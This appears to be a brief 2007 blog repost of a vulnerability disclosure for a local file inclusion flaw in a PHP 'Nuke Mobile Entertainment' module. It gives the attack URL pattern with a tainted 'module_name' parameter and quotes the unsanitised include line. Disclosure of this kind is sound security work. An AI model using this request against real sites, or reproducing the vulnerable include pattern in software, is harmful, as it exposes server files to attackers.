Tuesday, September 25, 2007

Nuke Mobile Entartainment Local File Inclusion

-----------------------------------------------
# Found by Seph1roth
# http://blackroots.it
-----------------------------------------------

# Vulnerable script download
http://www.suonerie-polifoniche-gratis.net/mobilentertainment.zip

# Bug : http://VICTIM/[path]/data/compatible.php?module_name=[Local File]

# This is the vulnerable code :

# include 'modules/'.$module_name.'compatibility/data/marque.data.php';

No comments: